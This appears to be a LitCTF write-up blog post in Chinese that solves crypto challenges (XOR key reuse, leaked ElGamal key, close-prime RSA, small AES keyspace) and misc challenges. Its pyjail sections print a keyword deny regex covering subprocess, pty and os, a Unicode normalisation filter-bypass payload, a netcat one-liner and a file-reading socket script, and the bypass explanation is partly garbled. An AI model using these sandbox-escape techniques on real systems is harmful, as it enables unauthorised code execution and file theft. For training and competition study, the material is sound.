ruye07

导航

LitCTF-TriH-WP(MISC、CRYPTO)

LitCTF-TriH-WP(MISC、CRYPTO)


Crypto

1. lit_xor_two_story

题目分析

题目给了两段密文:

c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474

同时脚本中给出第二段明文:

M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"

加密逻辑为:

c1 = m1 ^ k
c2 = m2 ^ k

这里同一段 OTP 密钥流 k 被复用了。由异或性质可得:

m1 = c1 ^ c2 ^ m2

解题脚本

c1 = bytes.fromhex(
    "5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31"
    "bf14ab7a0a82ccc108f8476f75c98a28"
)
c2 = bytes.fromhex(
    "5f70a847ce123cc153283ca710ae7f042b8490a238eb222897"
    "0fad6a2694f2985dc5557e69e5f474"
)
m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"

flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(flag)

Flag

litctf{otp_reuse_never_twice_same_key__}

2. lit_elgamal_handshake

题目分析

题目是 ElGamal 加密,公钥和密文如下:

p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g = 3
y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

题目还在 debug 日志中泄露了长期私钥:

x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

ElGamal 加密形式为:

c1 = g^k mod p
c2 = m * y^k mod p

由于 y = g^x mod p,所以:

y^k = (g^k)^x = c1^x mod p

因此可以直接解密:

s = c1^x mod p
m = c2 * s^{-1} mod p

解题脚本

from Crypto.Util.number import long_to_bytes

p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

s = pow(c1, x, p)
m = c2 * pow(s, -1, p) % p

print(long_to_bytes(m))

Flag

litctf{elgamal_leak_makes_happy_decrypt}

3. lit_rsa_neighbor

题目分析

题目给出 RSA 参数:

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

脚本:

p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
    q = int(gmpy2.next_prime(q))
n = p * q

也就是说,q 是从 p 连续取 next prime 得到的。虽然中间隔了若干个素数,但两个数仍然很接近,适合使用费马分解。

费马分解基于:

n = p * q = a^2 - b^2 = (a - b)(a + b)

pq 接近时,a = ceil(sqrt(n)) 附近很快就能找到平方差。

解题脚本

from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

a = isqrt(n)
if a * a < n:
    a += 1

while True:
    b2 = a * a - n
    b = isqrt(b2)
    if b * b == b2:
        break
    a += 1

p = a - b
q = a + b

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

Flag

litctf{rsa_fermat_finds_close_primes}

4. lit_tiny_key_aes

题目分析

题目使用 AES-128-ECB,密钥前 13 字节固定:

KEY_PREFIX = b"LitCTF2026!!!"

AES-128 密钥总长度为 16 字节,因此未知部分只有 3 字节:

key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX

密文为:

c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"

未知密钥空间为:

2^24 = 16777216

这个范围可以直接离线爆破。解密后检查明文是否以 litctf 开头,并验证 PKCS#7 padding。

解题脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

c = bytes.fromhex(
    "0cdb2760c931f705912b0f4dedbc9bf1"
    "d844cdfd0cb9b6b24a3c8619064bb3a2"
    "a418873c76ac1b627523aab5497fd8d3"
)
prefix = b"LitCTF2026!!!"

for i in range(1 << 24):
    suffix = i.to_bytes(3, "big")
    key = prefix + suffix
    pt = AES.new(key, AES.MODE_ECB).decrypt(c)
    if pt.startswith(b"litctf"):
        try:
            print("suffix =", suffix)
            print(unpad(pt, 16))
            break
        except ValueError:
            pass

爆破得到:

suffix = b"7\xa2\x01"

Flag

litctf{aes_tiny_brut3_for_the_win!}

Misc

lit_lsb_base64_clean

关于lsb隐写
把图片拖入随波逐流,发现疑似base64编码的东西
image
解码得到
image
LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_rush_qr_clean

叫豆包补全二维码定位符
image
扫码得到flag

lit_sstv_clean

知道这是sstv,直接叫ai写脚本
image

signal_result

lit_welcome_clean Writeup

1. 基础检查

  • 文件:welcome.png,5148 bytes,900×500 RGB
  • PNG 结构正常,仅 IHDR / IDAT / IEND 三个块
  • 无隐藏文本块(tEXt/iTXt/zTXt)

2. 像素分析

from PIL import Image
import numpy as np

img = Image.open('welcome.png')
pixels = np.array(img)

# 统计唯一颜色
unique = np.unique(pixels.reshape(-1, 3), axis=0)
# 结果只有两个颜色:
#   RGB(254, 255, 255)  → #feffff  (7318像素)
#   RGB(255, 255, 255)  → #ffffff  (442682像素)

整张图只有两个颜色,差异仅在于 R 通道的 LSB(254 vs 255),肉眼完全无法分辨。

3. 提取二值图

# R=254 → 黑, R=255 → 白
binary = (pixels[:,:,0] == 254).astype(np.uint8) * 255
Image.fromarray(binary, 'L').save('reveal.png')

4. 结果

生成的 reveal.png 直接以 ASCII 艺术字显示了 flag。
image

lit_pyjail_reader

题目分析

连接后服务器运行一段 Python 脚本,核心逻辑如下:

  1. 验证码:生成 8 位随机大写字母,要求输入其反转串
  2. 第一次读文件:提示读取 /app/where_is_flag.txt(包含 flag 真实路径)
  3. 第二次读文件:读取上一步获得的路径,拿到 flag

源码关键部分

def safe_read(path: str) -> str:
    p = path.strip()
    if not p or p.startswith("-") or "\x00" in p:
        raise ValueError("invalid path")
    with open(p, "r", errors="replace") as f:
        return f.read(MAX_FILE)

校验逻辑只阻止了空路径、以 - 开头、含空字节的路径。没有路径遍历限制,也没有 eval/exec。题目描述明确写了"无 RCE",所以按照提示读文件即可。

解题步骤

  1. 连接并完成验证码
    服务端发送:

Please enter the reverse of 'FEXCESXB' to continue:
提取单引号内字符串并反转:FEXCESXB → BXSECXEF,发送回去。

  1. 第一步读文件 — 获取 flag 路径
    收到提示后发送 /app/where_is_flag.txt,服务端返回:

--- begin ---
/flag
--- end ---
File path (2/2):
提取得到 flag 路径为 /flag。

  1. 第二步读文件 — 获取 flag
    发送 /flag,服务端返回 flag。

解题脚本

import re
import socket

HOST = "challenge.cyclens.tech"
PORT = 32690

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((HOST, PORT))

# ---- 验证码 ----
data = b""
while b": " not in data:
    data += sock.recv(1024)
prompt = data.decode(errors="replace")

m = re.search(r"'([A-Z]+)'", prompt)
challenge = m.group(1)
answer = challenge[::-1]
sock.sendall((answer + "\n").encode())

# ---- 等待 File path (1/2) 提示 ----
data = b""
while b"File path (1/2): " not in data:
    data += sock.recv(1024)

# ---- Step 1: 读 flag 路径 ----
sock.sendall(b"/app/where_is_flag.txt\n")

data = b""
while b"File path (2/2): " not in data:
    data += sock.recv(1024)
resp = data.decode(errors="replace")

begin = resp.find("--- begin ---")
end = resp.find("--- end ---")
flag_path = resp[begin + len("--- begin ---"):end].strip()

# ---- Step 2: 读 flag ----
sock.sendall((flag_path + "\n").encode())

data = b""
while True:
    try:
        chunk = sock.recv(1024)
        if not chunk:
            break
        data += chunk
    except socket.timeout:
        break

flag = data.decode(errors="replace").strip()
print(f"Flag: {flag}")
sock.close()

Flag

flag{hxj1mkye-ilpb-4hg-84mo-ndfb4lfc2lshl}

lit_pyjail_unicode

沙箱逻辑

​```

核心过滤:正则匹配 ASCII 关键字

BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os.|sys.|\bposix\b",
re.IGNORECASE,
)

def banned(raw: str) -> bool:
if "\u" in raw or "\U" in raw or "\x" in raw:
return True
return BANNED.search(raw) is not None

三道防线:

  1. 禁止 \u\U\x 转义序列(挡住 Unicode escape)
  2. 正则 \b...\b 词边界匹配 ASCII 关键字
  3. 检查对象是用户发送的原始源码字符串

执行路径

out = eval(line, {"__builtins__": __builtins__})

eval() 满权限,__builtins__ 全给。过滤本身不拦截具体操作,只拦截源码中的 ASCII 关键字。

矛盾点

阶段 处理对象 编码
banned() 检查 用户原始字节流 只看 ASCII
eval() 编译 源码字符串 NFKC 归一化后编译

关键知识:Python 3 在编译标识符前会做 NFKC 归一化。全角字母(Fullwidth Latin,U+FF01–U+FF5E)归一化后折叠为对应 ASCII 字母。

Unicode 等价表

全角字符 码位 归一化为
U+FF4F o
U+FF50 p
U+FF45 e
U+FF4E n
U+FF52 r
U+FF41 a
U+FF44 d

Payload

open('/flag').read()
  • 正则看到的是全角字符串 open,不是 open → 不触发 \bopen\b
  • \u 等转义也未出现在源码中 → 通过第二道防线
  • eval() 编译时 NFKC 归一化:openopenreadread → 正常执行

连接

echo "open('/flag').read()" | nc challenge.cyclens.tech 31022

结果

 flag{xmaxymff-6by8-4qi-8gy0-4kk1zuzy2bcda}

posted on 2026-05-25 12:09  ruye07  阅读(27)  评论(0)    收藏  举报